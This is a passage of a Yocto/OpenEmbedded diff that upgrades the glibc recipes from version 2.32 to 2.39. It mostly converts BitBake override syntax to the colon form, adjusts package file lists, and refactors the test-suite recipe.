-BINUTILSDEP_class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
-do_package[depends] += "${BINUTILSDEP}"
-
-DEPENDS += "virtual/libc"
+# Do not inhibit default deps, do_package requires binutils/gcc for
+# objcopy/gcc-nm and glibc-locale depends on virtual/libc directly.
+INHIBIT_DEFAULT_DEPS = ""
# Binary locales are generated at build time if ENABLE_BINARY_LOCALE_GENERATION
# is set. The idea is to avoid running localedef on the target (at first boot)
@@ -21,11 +16,11 @@ DEPENDS += "virtual/libc"
# default to disabled
ENABLE_BINARY_LOCALE_GENERATION ?= "0"
-ENABLE_BINARY_LOCALE_GENERATION_pn-nativesdk-glibc-locale = "1"
+ENABLE_BINARY_LOCALE_GENERATION:pn-nativesdk-glibc-locale = "1"
#enable locale generation on these arches
# BINARY_LOCALE_ARCHES is a space separated list of regular expressions
-BINARY_LOCALE_ARCHES ?= "arc arm.* aarch64 i[3-6]86 x86_64 powerpc mips mips64 riscv32 riscv64"
+BINARY_LOCALE_ARCHES ?= "arc arm.* aarch64 i[3-6]86 x86_64 powerpc mips mips64 riscv32 riscv64 loongarch64"
# set "1" to use cross-localedef for locale generation
# set "0" for qemu emulation of native localedef for locale generation
@@ -33,39 +28,40 @@ LOCALE_GENERATION_WITH_CROSS-LOCALEDEF = "1"
PROVIDES = "virtual/libc-locale"
-PACKAGES = "localedef ${PN}-dbg"
+PACKAGES = "localedef ${PN}-dbg ${LOCALEBASEPN}-locale-alias"
PACKAGES_DYNAMIC = "^locale-base-.* \
^glibc-gconv-.* ^glibc-charmap-.* ^glibc-localedata-.* ^glibc-binary-localedata-.* \
^${MLPREFIX}glibc-gconv$"
# Create a glibc-binaries package
-ALLOW_EMPTY_${BPN}-binaries = "1"
+ALLOW_EMPTY:${BPN}-binaries = "1"
PACKAGES += "${BPN}-binaries"
-RRECOMMENDS_${BPN}-binaries = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-binary") != -1])}"
+RRECOMMENDS:${BPN}-binaries = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-binary-") != -1])}"
# Create a glibc-charmaps package
-ALLOW_EMPTY_${BPN}-charmaps = "1"
+ALLOW_EMPTY:${BPN}-charmaps = "1"
PACKAGES += "${BPN}-charmaps"
-RRECOMMENDS_${BPN}-charmaps = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-charmap") != -1])}"
+RRECOMMENDS:${BPN}-charmaps = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-charmap-") != -1])}"
# Create a glibc-gconvs package
-ALLOW_EMPTY_${BPN}-gconvs = "1"
+ALLOW_EMPTY:${BPN}-gconvs = "1"
PACKAGES += "${BPN}-gconvs"
-RRECOMMENDS_${BPN}-gconvs = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-gconv") != -1])}"
+RRECOMMENDS:${BPN}-gconvs = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-gconv-") != -1])}"
# Create a glibc-localedatas package
-ALLOW_EMPTY_${BPN}-localedatas = "1"
+ALLOW_EMPTY:${BPN}-localedatas = "1"
PACKAGES += "${BPN}-localedatas"
-RRECOMMENDS_${BPN}-localedatas = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-localedata") != -1])}"
+RRECOMMENDS:${BPN}-localedatas = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-localedata-") != -1])}"
-DESCRIPTION_localedef = "glibc: compile locale definition files"
+DESCRIPTION:localedef = "glibc: compile locale definition files"
# glibc-gconv is dynamically added into PACKAGES, thus
-# FILES_glibc-gconv will not be automatically extended in multilib.
-# Explicitly add ${MLPREFIX} for FILES_glibc-gconv.
-FILES_${MLPREFIX}glibc-gconv = "${libdir}/gconv/*"
-FILES_localedef = "${bindir}/localedef"
+# FILES:glibc-gconv will not be automatically extended in multilib.
+# Explicitly add ${MLPREFIX} for FILES:glibc-gconv.
+FILES:${MLPREFIX}glibc-gconv = "${libdir}/gconv/*"
+FILES:localedef = "${bindir}/localedef"
+FILES:${LOCALEBASEPN}-locale-alias = "${datadir}/locale/locale.alias"
LOCALETREESRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale"
@@ -87,10 +83,9 @@ do_install() {
if [ ${PACKAGE_NO_GCONV} -eq 0 ]; then
copy_locale_files ${libdir}/gconv 0755
copy_locale_files ${datadir}/i18n 0644
- else
- # Remove the libdir if it is empty when gconv is not copied
- find ${D}${libdir} -type d -empty -delete
fi
+ # Remove empty dirs in libdir when gconv or locales are not copied
+ find ${D}${libdir} -type d -empty -delete
copy_locale_files ${datadir}/locale 0644
install -m 0644 ${LOCALETREESRC}/SUPPORTED ${WORKDIR}/SUPPORTED
}
diff --git a/meta/recipes-core/glibc/glibc-locale_2.32.bb b/meta/recipes-core/glibc/glibc-locale_2.39.bb
index f7702e0358..f7702e0358 100644
--- a/meta/recipes-core/glibc/glibc-locale_2.32.bb
+++ b/meta/recipes-core/glibc/glibc-locale_2.39.bb
diff --git a/meta/recipes-core/glibc/glibc-mtrace.inc b/meta/recipes-core/glibc/glibc-mtrace.inc
index ef9d60ec23..734a566562 100644
--- a/meta/recipes-core/glibc/glibc-mtrace.inc
+++ b/meta/recipes-core/glibc/glibc-mtrace.inc
@@ -2,8 +2,8 @@ require glibc-collateral.inc
SUMMARY = "mtrace utility provided by glibc"
DESCRIPTION = "mtrace utility provided by glibc"
-RDEPENDS_${PN} = "perl"
-RPROVIDES_${PN} = "libc-mtrace"
+RDEPENDS:${PN} = "perl"
+RPROVIDES:${PN} = "libc-mtrace"
SRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale/scripts"
diff --git a/meta/recipes-core/glibc/glibc-mtrace_2.32.bb b/meta/recipes-core/glibc/glibc-mtrace_2.39.bb
index 0b69bad46a..0b69bad46a 100644
--- a/meta/recipes-core/glibc/glibc-mtrace_2.32.bb
+++ b/meta/recipes-core/glibc/glibc-mtrace_2.39.bb
diff --git a/meta/recipes-core/glibc/glibc-package.inc b/meta/recipes-core/glibc/glibc-package.inc
index 5f1ab60dc6..1ef987be0a 100644
--- a/meta/recipes-core/glibc/glibc-package.inc
+++ b/meta/recipes-core/glibc/glibc-package.inc
@@ -1,69 +1,69 @@
INHIBIT_SYSROOT_STRIP = "1"
-PACKAGES = "${PN}-dbg catchsegv sln nscd ldconfig ldd tzcode glibc-thread-db ${PN}-pic libcidn libmemusage libnss-db libsegfault ${PN}-pcprofile libsotruss ${PN} ${PN}-utils glibc-extra-nss ${PN}-dev ${PN}-staticdev ${PN}-doc"
+PACKAGES = "${PN}-dbg sln nscd ldconfig ldd ldso tzcode glibc-thread-db ${PN}-pic libmemusage malloc-debug libnss-db ${PN}-pcprofile libsotruss ${PN} ${PN}-utils glibc-extra-nss ${PN}-dev ${PN}-staticdev ${PN}-doc ${PN}-src"
# The ld.so in this glibc supports the GNU_HASH
-RPROVIDES_${PN} = "eglibc rtld(GNU_HASH)"
-RPROVIDES_${PN}-utils = "eglibc-utils"
-RPROVIDES_${PN}-mtrace = "eglibc-mtrace libc-mtrace"
-RPROVIDES_${PN}-pic = "eglibc-pic"
-RPROVIDES_${PN}-dev = "eglibc-dev libc6-dev virtual-libc-dev"
-RPROVIDES_${PN}-staticdev = "eglibc-staticdev"
-RPROVIDES_${PN}-doc = "eglibc-doc"
-RPROVIDES_glibc-extra-nss = "eglibc-extra-nss"
-RPROVIDES_glibc-thread-db = "eglibc-thread-db"
-RPROVIDES_${PN}-pcprofile = "eglibc-pcprofile"
-RPROVIDES_${PN}-dbg = "eglibc-dbg"
+RPROVIDES:${PN} = "eglibc rtld(GNU_HASH)"
+RPROVIDES:${PN}-utils = "eglibc-utils"
+RPROVIDES:${PN}-mtrace = "eglibc-mtrace libc-mtrace"
+RPROVIDES:${PN}-pic = "eglibc-pic"
+RPROVIDES:${PN}-dev = "eglibc-dev libc6-dev virtual-libc-dev"
+RPROVIDES:${PN}-staticdev = "eglibc-staticdev"
+RPROVIDES:${PN}-doc = "eglibc-doc"
+RPROVIDES:glibc-extra-nss = "eglibc-extra-nss"
+RPROVIDES:glibc-thread-db = "eglibc-thread-db"
+RPROVIDES:${PN}-pcprofile = "eglibc-pcprofile"
+RPROVIDES:${PN}-dbg = "eglibc-dbg"
libc_baselibs = "${base_libdir}/libc.so.* ${base_libdir}/libc-*.so ${base_libdir}/libm*.so.* ${base_libdir}/libm-*.so ${base_libdir}/libmvec-*.so ${base_libdir}/ld*.so.* ${base_libdir}/ld-*.so ${base_libdir}/libpthread*.so.* ${base_libdir}/libpthread-*.so ${base_libdir}/libresolv*.so.* ${base_libdir}/libresolv-*.so ${base_libdir}/librt*.so.* ${base_libdir}/librt-*.so ${base_libdir}/libutil*.so.* ${base_libdir}/libutil-*.so ${base_libdir}/libnsl*.so.* ${base_libdir}/libnsl-*.so ${base_libdir}/libnss_files*.so.* ${base_libdir}/libnss_files-*.so ${base_libdir}/libnss_compat*.so.* ${base_libdir}/libnss_compat-*.so ${base_libdir}/libnss_dns*.so.* ${base_libdir}/libnss_dns-*.so ${base_libdir}/libdl*.so.* ${base_libdir}/libdl-*.so ${base_libdir}/libanl*.so.* ${base_libdir}/libanl-*.so ${base_libdir}/libBrokenLocale*.so.* ${base_libdir}/libBrokenLocale-*.so"
ARCH_DYNAMIC_LOADER = ""
# The aarch64 ABI says the dynamic linker -must- be
# /lib/ld-linux-aarch64{,_be}.so.1. With usrmerge, that may mean that
# we need to install it in /usr/lib.
-ARCH_DYNAMIC_LOADER_aarch64 = "ld-linux-${TARGET_ARCH}.so.1"
-libc_baselibs_append = " ${@oe.utils.conditional('ARCH_DYNAMIC_LOADER', '', '', '${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}', d)}"
-INSANE_SKIP_${PN}_append_aarch64 = " libdir"
-
-FILES_${PN} = "${libc_baselibs} ${libexecdir}/* ${sysconfdir}/ld.so.conf"
-RRECOMMENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'ldconfig', '${MLPREFIX}ldconfig', '', d)}"
-FILES_ldconfig = "${base_sbindir}/ldconfig"
-FILES_ldd = "${bindir}/ldd"
-FILES_libsegfault = "${base_libdir}/libSegFault*"
-FILES_libcidn = "${base_libdir}/libcidn-*.so ${base_libdir}/libcidn.so.*"
-FILES_libmemusage = "${base_libdir}/libmemusage.so"
-FILES_libnss-db = "${base_libdir}/libnss_db.so.* ${base_libdir}/libnss_db-*.so ${localstatedir}/db/Makefile ${localstatedir}/db/makedbs.sh"
-RDEPENDS_libnss-db = "${PN}-utils"
-FILES_glibc-extra-nss = "${base_libdir}/libnss_*-*.so ${base_libdir}/libnss_*.so.*"
-FILES_sln = "${base_sbindir}/sln"
-FILES_${PN}-pic = "${libdir}/*_pic.a ${libdir}/*_pic.map ${libdir}/libc_pic/*.o"
-FILES_libsotruss = "${libdir}/audit/sotruss-lib.so"
+ARCH_DYNAMIC_LOADER:aarch64 = "ld-linux-${TARGET_ARCH}.so.1"
+libc_baselibs:append = " ${@oe.utils.conditional('ARCH_DYNAMIC_LOADER', '', '', '${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}', d)}"
+INSANE_SKIP:${PN}:append:aarch64 = " libdir"
+INSANE_SKIP:${PN}-dev += "staticdev"
+INSANE_SKIP:${MLPREFIX}ldso:append = " dev-so libdir"
+
+FILES:${PN} = "${libc_baselibs} ${libexecdir}/* ${sysconfdir}/ld.so.conf"
+RRECOMMENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'ldconfig', '${MLPREFIX}ldconfig', '', d)}"
+FILES:ldconfig = "${base_sbindir}/ldconfig"
+FILES:ldd = "${bindir}/ldd"
+FILES:ldso = "${bindir}/${MLPREFIX}ld.so"
+FILES:libmemusage = "${base_libdir}/libmemusage.so"
+FILES:malloc-debug = "${base_libdir}/libc_malloc_debug.so.0"
+FILES:libnss-db = "${base_libdir}/libnss_db.so.* ${base_libdir}/libnss_db-*.so ${localstatedir}/db/Makefile ${localstatedir}/db/makedbs.sh"
+RDEPENDS:libnss-db = "${PN}-utils"
+FILES:glibc-extra-nss = "${base_libdir}/libnss_*-*.so ${base_libdir}/libnss_*.so.*"
+FILES:sln = "${base_sbindir}/sln"
+FILES:${PN}-pic = "${libdir}/*_pic.a ${libdir}/*_pic.map ${libdir}/libc_pic/*.o"
+FILES:libsotruss = "${libdir}/audit/sotruss-lib.so"
FILES_SOLIBSDEV = "${libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-dev += "${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
-RDEPENDS_${PN}-dev = "linux-libc-headers-dev"
-FILES_${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
-FILES_nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_unitdir}/system/nscd* ${sysconfdir}/tmpfiles.d/nscd.conf \
+FILES:${PN}-dev += "${libdir}/libpthread.a ${libdir}/libdl.a ${libdir}/libutil.a ${libdir}/libanl.a ${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
+RDEPENDS:${PN}-dev = "linux-libc-headers-dev"
+FILES:${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
+FILES:nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_system_unitdir}/nscd* ${nonarch_libdir}/tmpfiles.d/nscd.conf \
${sysconfdir}/nscd.conf ${sysconfdir}/default/volatiles/98_nscd ${localstatedir}/db/nscd"
-FILES_${PN}-mtrace = "${bindir}/mtrace"
-FILES_tzcode = "${bindir}/tzselect ${sbindir}/zic ${sbindir}/zdump"
-FILES_${PN}-utils = "${bindir}/* ${sbindir}/*"
-FILES_catchsegv = "${bindir}/catchsegv"
-RDEPENDS_catchsegv = "libsegfault"
-FILES_${PN}-pcprofile = "${base_libdir}/libpcprofile.so"
-FILES_glibc-thread-db = "${base_libdir}/libthread_db.so.* ${base_libdir}/libthread_db-*.so"
-RPROVIDES_${PN}-dev += "libc-dev"
-RPROVIDES_${PN}-staticdev += "libc-staticdev"
-
-SUMMARY_sln = "The static ln"
-DESCRIPTION_sln = "Similar to the 'ln' utility, but statically linked. sln is useful to make symbolic links to dynamic libraries if the dynamic linking system, for some reason, is not functional."
-SUMMARY_nscd = "Name service cache daemon"
-DESCRIPTION_nscd = "nscd, name service cache daemon, caches name service lookups for the passwd, group and hosts information. It can damatically improvide performance with remote, such as NIS or NIS+, name services."
-SUMMARY_glibc-extra-nss = "hesiod, NIS and NIS+ nss libraries"
-DESCRIPTION_glibc-extra-nss = "glibc: nis, nisplus and hesiod search services."
-SUMMARY_ldd = "print shared library dependencies"
-DESCRIPTION_ldd = "${bindir}/ldd prints shared library dependencies for each program or shared library specified on the command line."
-SUMMARY_${PN}-utils = "Miscellaneous utilities provided by glibc"
-DESCRIPTION_${PN}-utils = "Miscellaneous utilities including getconf, iconv, locale, gencat, ..."
-DESCRIPTION_libsotruss = "Library to support sotruss which traces calls through PLTs"
-DESCRIPTION_tzcode = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
+FILES:${PN}-mtrace = "${bindir}/mtrace"
+FILES:tzcode = "${bindir}/tzselect ${sbindir}/zic ${bindir}/zdump"
+FILES:${PN}-utils = "${bindir}/* ${sbindir}/*"
+FILES:${PN}-pcprofile = "${base_libdir}/libpcprofile.so"
+FILES:glibc-thread-db = "${base_libdir}/libthread_db.so.* ${base_libdir}/libthread_db-*.so"
+RPROVIDES:${PN}-dev += "libc-dev"
+RPROVIDES:${PN}-staticdev += "libc-staticdev"
+
+SUMMARY:sln = "The static ln"
+DESCRIPTION:sln = "Similar to the 'ln' utility, but statically linked. sln is useful to make symbolic links to dynamic libraries if the dynamic linking system, for some reason, is not functional."
+SUMMARY:nscd = "Name service cache daemon"
+DESCRIPTION:nscd = "nscd, name service cache daemon, caches name service lookups for the passwd, group and hosts information. It can damatically improvide performance with remote, such as NIS or NIS+, name services."
+SUMMARY:glibc-extra-nss = "hesiod, NIS and NIS+ nss libraries"
+DESCRIPTION:glibc-extra-nss = "glibc: nis, nisplus and hesiod search services."
+SUMMARY:ldd = "print shared library dependencies"
+DESCRIPTION:ldd = "${bindir}/ldd prints shared library dependencies for each program or shared library specified on the command line."
+SUMMARY:${PN}-utils = "Miscellaneous utilities provided by glibc"
+DESCRIPTION:${PN}-utils = "Miscellaneous utilities including getconf, iconv, locale, gencat, ..."
+DESCRIPTION:libsotruss = "Library to support sotruss which traces calls through PLTs"
+DESCRIPTION:tzcode = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
inherit multilib_header
@@ -87,7 +87,7 @@ do_install() {
rmdir --ignore-fail-on-non-empty ${D}${libexecdir}
fi
- oe_multilib_header bits/syscall.h bits/long-double.h bits/floatn.h bits/endianness.h bits/struct_rwlock.h
+ oe_multilib_header bits/syscall.h bits/long-double.h bits/floatn.h bits/endianness.h bits/struct_rwlock.h bits/math-vector.h
if [ -f ${D}${bindir}/mtrace ]; then
sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' -e '2s,exec.*perl,exec ${USRBINPATH}/env perl,' ${D}${bindir}/mtrace
@@ -105,8 +105,8 @@ do_install() {
sed -i "s%daemon%start-stop-daemon --start --exec%g" ${D}${sysconfdir}/init.d/nscd
sed -i "s|\(enable-cache\t\+netgroup\t\+\)yes|\1no|" ${D}${sysconfdir}/nscd.conf
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/nscd/nscd.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/nscd/nscd.service ${D}${systemd_system_unitdir}/
# The dynamic loader will have been installed into
# ${base_libdir}. However, if that isn't going to end up being
@@ -118,6 +118,11 @@ do_install() {
ln -s ${@oe.path.relative('${root_prefix}/lib', '${base_libdir}')}/${ARCH_DYNAMIC_LOADER} \
${D}${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}
fi
+ ln -rs ${D}${base_libdir}/libpthread.so.0 ${D}${libdir}/libpthread.so
+ ln -rs ${D}${base_libdir}/librt.so.1 ${D}${libdir}/librt.so
+ if [ -n "${MLPREFIX}" ]; then
+ mv ${D}${bindir}/ld.so ${D}${bindir}/${MLPREFIX}ld.so
+ fi
}
def get_libc_fpu_setting(bb, d):
@@ -125,11 +130,11 @@ def get_libc_fpu_setting(bb, d):
return "--without-fp"
return ""
-do_install_append_class-target() {
+do_install:append:class-target() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
echo "d /run/nscd 755 root root -" \
- > ${D}${sysconfdir}/tmpfiles.d/nscd.conf
+ > ${D}${nonarch_libdir}/tmpfiles.d/nscd.conf
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
@@ -139,15 +144,15 @@ do_install_append_class-target() {
fi
}
-do_install_append_aarch64 () {
+do_install:append:aarch64 () {
do_install_armmultilib
}
-do_install_append_arm () {
+do_install:append:arm () {
do_install_armmultilib
}
-do_install_append_armeb () {
+do_install:append:armeb () {
do_install_armmultilib
}
@@ -156,6 +161,8 @@ do_install_armmultilib () {
oe_multilib_header bits/local_lim.h bits/mman.h bits/msq.h bits/pthreadtypes.h bits/pthreadtypes-arch.h bits/sem.h bits/semaphore.h bits/setjmp.h
oe_multilib_header bits/shm.h bits/sigstack.h bits/stat.h bits/statfs.h bits/typesizes.h
oe_multilib_header bits/procfs-id.h bits/procfs.h bits/shmlba.h
+ oe_multilib_header bits/struct_stat.h bits/pthread_stack_min.h
+ oe_multilib_header bits/dl_find_object.h bits/rseq.h bits/timesize.h
oe_multilib_header fpu_control.h gnu/lib-names.h gnu/stubs.h ieee754.h
@@ -192,7 +199,6 @@ do_stash_locale () {
fi
cp -fpPR ${D}${datadir}/* $dest${datadir}
- rm -rf ${D}${datadir}/locale/
cp -fpPR ${WORKDIR}/SUPPORTED $dest
target=$dest/scripts
@@ -252,35 +258,35 @@ stash_locale_package_cleanup() {
stash_locale_cleanup ${PKGD}
}
-python populate_packages_prepend () {
+python populate_packages:prepend () {
if d.getVar('DEBIAN_NAMES'):
pkgs = d.getVar('PACKAGES').split()
bpn = d.getVar('BPN')
prefix = d.getVar('MLPREFIX') or ""
# Set the base package...
- d.setVar('PKG_' + prefix + bpn, prefix + 'libc6')
+ d.setVar('PKG:' + prefix + bpn, prefix + 'libc6')
libcprefix = prefix + bpn + '-'
for p in pkgs:
# And all the subpackages.
if p.startswith(libcprefix):
renamed = p.replace(bpn, 'libc6', 1)
- d.setVar('PKG_' + p, renamed)
+ d.setVar('PKG:' + p, renamed)
# For backward compatibility with old -dbg package
- d.appendVar('RPROVIDES_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
- d.appendVar('RCONFLICTS_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
- d.appendVar('RREPLACES_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RPROVIDES:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RCONFLICTS:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RREPLACES:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
}
-pkg_postinst_nscd () {
+pkg_postinst:nscd () {
if [ -z "$D" ]; then
if command -v systemd-tmpfiles >/dev/null; then
- systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/nscd.conf
+ systemd-tmpfiles --create ${nonarch_libdir}/tmpfiles.d/nscd.conf
elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
${sysconfdir}/init.d/populate-volatile.sh update
fi
fi
}
-CONFFILES_nscd="${sysconfdir}/nscd.conf"
+CONFFILES:nscd="${sysconfdir}/nscd.conf"
SYSTEMD_PACKAGES = "nscd"
-SYSTEMD_SERVICE_nscd = "nscd.service"
+SYSTEMD_SERVICE:nscd = "nscd.service"
diff --git a/meta/recipes-core/glibc/glibc-scripts.inc b/meta/recipes-core/glibc/glibc-scripts.inc
index 14a14e4512..47216ae7d7 100644
--- a/meta/recipes-core/glibc/glibc-scripts.inc
+++ b/meta/recipes-core/glibc/glibc-scripts.inc
@@ -2,7 +2,7 @@ require glibc-collateral.inc
SUMMARY = "utility scripts provided by glibc"
DESCRIPTION = "utility scripts provided by glibc"
-RDEPENDS_${PN} = "bash glibc-mtrace"
+RDEPENDS:${PN} = "bash glibc-mtrace"
SRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale/scripts"
@@ -17,7 +17,7 @@ do_install() {
# sotruss script requires sotruss-lib.so (given by libsotruss package),
# to produce trace of the library calls.
-RDEPENDS_${PN} += "libsotruss"
+RDEPENDS:${PN} += "libsotruss"
# Don't scan for CVEs as glibc will be scanned
CVE_PRODUCT = ""
diff --git a/meta/recipes-core/glibc/glibc-scripts_2.32.bb b/meta/recipes-core/glibc/glibc-scripts_2.39.bb
index 5a89bd8022..5a89bd8022 100644
--- a/meta/recipes-core/glibc/glibc-scripts_2.32.bb
+++ b/meta/recipes-core/glibc/glibc-scripts_2.39.bb
diff --git a/meta/recipes-core/glibc/glibc-tests.inc b/meta/recipes-core/glibc/glibc-tests.inc
new file mode 100644
index 0000000000..a8fe160a54
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-tests.inc
@@ -0,0 +1,32 @@
+EXCLUDE_FROM_WORLD = "1"
+
+# handle PN differences
+FILESEXTRAPATHS:prepend := "${THISDIR}/glibc:"
+
+# setup depends
+INHIBIT_DEFAULT_DEPS = ""
+
+python () {
+ libc = d.getVar("PREFERRED_PROVIDER_virtual/libc")
+ libclocale = d.getVar("PREFERRED_PROVIDER_virtual/libc-locale")
+ if libc != "glibc" or libclocale != "glibc-locale":
+ raise bb.parse.SkipRecipe("glibc-testsuite requires that virtual/libc is glibc")
+}
+
+DEPENDS += "glibc-locale libgcc gcc-runtime"
+
+# remove the initial depends
+DEPENDS:remove = "libgcc-initial"
+
+do_check[dirs] += "${B}"
+do_check () {
+ # clean out previous test results
+ oe_runmake tests-clean
+ # makefiles don't clean entirely (and also sometimes fails due to too many args)
+ find ${B} -type f -name "*.out" -delete
+ find ${B} -type f -name "*.test-result" -delete
+ find ${B}/catgets -name "*.cat" -delete
+ find ${B}/conform -name "symlist-*" -delete
+ [ ! -e ${B}/timezone/testdata ] || rm -rf ${B}/timezone/testdata
+}
+addtask do_check after do_compile
diff --git a/meta/recipes-core/glibc/glibc-testsuite_2.32.bb b/meta/recipes-core/glibc/glibc-testsuite_2.32.bb
deleted file mode 100644
index d887aeff79..0000000000
--- a/meta/recipes-core/glibc/glibc-testsuite_2.32.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-require glibc_${PV}.bb
-
-EXCLUDE_FROM_WORLD = "1"
-
-# handle PN differences
-FILESEXTRAPATHS_prepend := "${THISDIR}/glibc:"
-
-# strip provides
-PROVIDES = ""
-# setup depends
-INHIBIT_DEFAULT_DEPS = ""
-
-python () {
- libc = d.getVar("PREFERRED_PROVIDER_virtual/libc")
- libclocale = d.getVar("PREFERRED_PROVIDER_virtual/libc-locale")
- if libc != "glibc" or libclocale != "glibc-locale":
- raise bb.parse.SkipRecipe("glibc-testsuite requires that virtual/libc is glibc")
-}
-
-DEPENDS += "glibc-locale libgcc gcc-runtime"
-
-# remove the initial depends
-DEPENDS_remove = "libgcc-initial"
-
-inherit qemu
-
-SRC_URI += "file://check-test-wrapper"
-
-DEPENDS += "${@'qemu-native' if d.getVar('TOOLCHAIN_TEST_TARGET') == 'user' else ''}"
-
-TOOLCHAIN_TEST_TARGET ??= "user"
-TOOLCHAIN_TEST_HOST ??= "localhost"
-TOOLCHAIN_TEST_HOST_USER ??= "root"
-TOOLCHAIN_TEST_HOST_PORT ??= "2222"
-
-do_check[dirs] += "${B}"
-do_check[nostamp] = "1"
-do_check () {
- chmod 0755 ${WORKDIR}/check-test-wrapper
-
- # clean out previous test results
- oe_runmake tests-clean
- # makefiles don't clean entirely (and also sometimes fails due to too many args)
- find ${B} -type f -name "*.out" -delete
- find ${B} -type f -name "*.test-result" -delete
- find ${B}/catgets -name "*.cat" -delete
- find ${B}/conform -name "symlist-*" -delete
- [ ! -e ${B}/timezone/testdata ] || rm -rf ${B}/timezone/testdata
-
- oe_runmake -i \
- QEMU_SYSROOT="${RECIPE_SYSROOT}" \
- QEMU_OPTIONS="${@qemu_target_binary(d)} ${QEMU_OPTIONS}" \
- SSH_HOST="${TOOLCHAIN_TEST_HOST}" \
- SSH_HOST_USER="${TOOLCHAIN_TEST_HOST_USER}" \
- SSH_HOST_PORT="${TOOLCHAIN_TEST_HOST_PORT}" \
- test-wrapper="${WORKDIR}/check-test-wrapper ${TOOLCHAIN_TEST_TARGET}" \
- check
-}
-addtask do_check after do_compile
-
-inherit nopackages
-deltask do_stash_locale
-deltask do_install
diff --git a/meta/recipes-core/glibc/glibc-testsuite_2.39.bb b/meta/recipes-core/glibc/glibc-testsuite_2.39.bb
new file mode 100644
index 0000000000..2e076f4b0f
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-testsuite_2.39.bb
@@ -0,0 +1,36 @@
+require glibc_${PV}.bb
+require glibc-tests.inc
+
+inherit qemu
+
+SRC_URI += "file://check-test-wrapper"
+
+# strip provides
+PROVIDES = ""
+
+DEPENDS += "${@'qemu-native' if d.getVar('TOOLCHAIN_TEST_TARGET') == 'user' else ''}"
+
+TOOLCHAIN_TEST_TARGET ??= "user"
+TOOLCHAIN_TEST_HOST ??= "localhost"
+TOOLCHAIN_TEST_HOST_USER ??= "root"
+TOOLCHAIN_TEST_HOST_PORT ??= "2222"
+
+do_check[nostamp] = "1"
+do_check[network] = "1"
+do_check:append () {
+ chmod 0755 ${WORKDIR}/check-test-wrapper
+
+ oe_runmake -i \
+ QEMU_SYSROOT="${RECIPE_SYSROOT}" \
+ QEMU_OPTIONS="${@qemu_target_binary(d)} ${QEMU_OPTIONS}" \
+ SSH_HOST="${TOOLCHAIN_TEST_HOST}" \
+ SSH_HOST_USER="${TOOLCHAIN_TEST_HOST_USER}" \
+ SSH_HOST_PORT="${TOOLCHAIN_TEST_HOST_PORT}" \
+ test-wrapper="${WORKDIR}/check-test-wrapper ${TOOLCHAIN_TEST_TARGET}" \
+ check
+}
+
+inherit nopackages
+deltask do_stash_locale
+deltask do_install
+deltask do_populate_sysroot
diff --git a/meta/recipes-core/glibc/glibc-version.inc b/meta/recipes-core/glibc/glibc-version.inc
index 2e0a71c303..618a574566 100644
--- a/meta/recipes-core/glibc/glibc-version.inc
+++ b/meta/recipes-core/glibc/glibc-version.inc
@@ -1,8 +1,10 @@
-SRCBRANCH ?= "release/2.32/master"
-PV = "2.32"
-SRCREV_glibc ?= "3de512be7ea6053255afed6154db9ee31d4e557a"
-SRCREV_localedef ?= "b6ca7c146c6d2c93cddfa61e395cb8a196e3d46f"
+SRCBRANCH ?= "release/2.39/master"
+PV = "2.39+git"
+SRCREV_glibc ?= "1b9c1a0047fb26a65a9b2a7b8cd977243f7d353c"
+SRCREV_localedef ?= "fab74f31b3811df543e24b6de47efdf45b538abc"
-GLIBC_GIT_URI ?= "git://sourceware.org/git/glibc.git"
+GLIBC_GIT_URI ?= "git://sourceware.org/git/glibc.git;protocol=https"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.(?!90)\d+)*)"
+
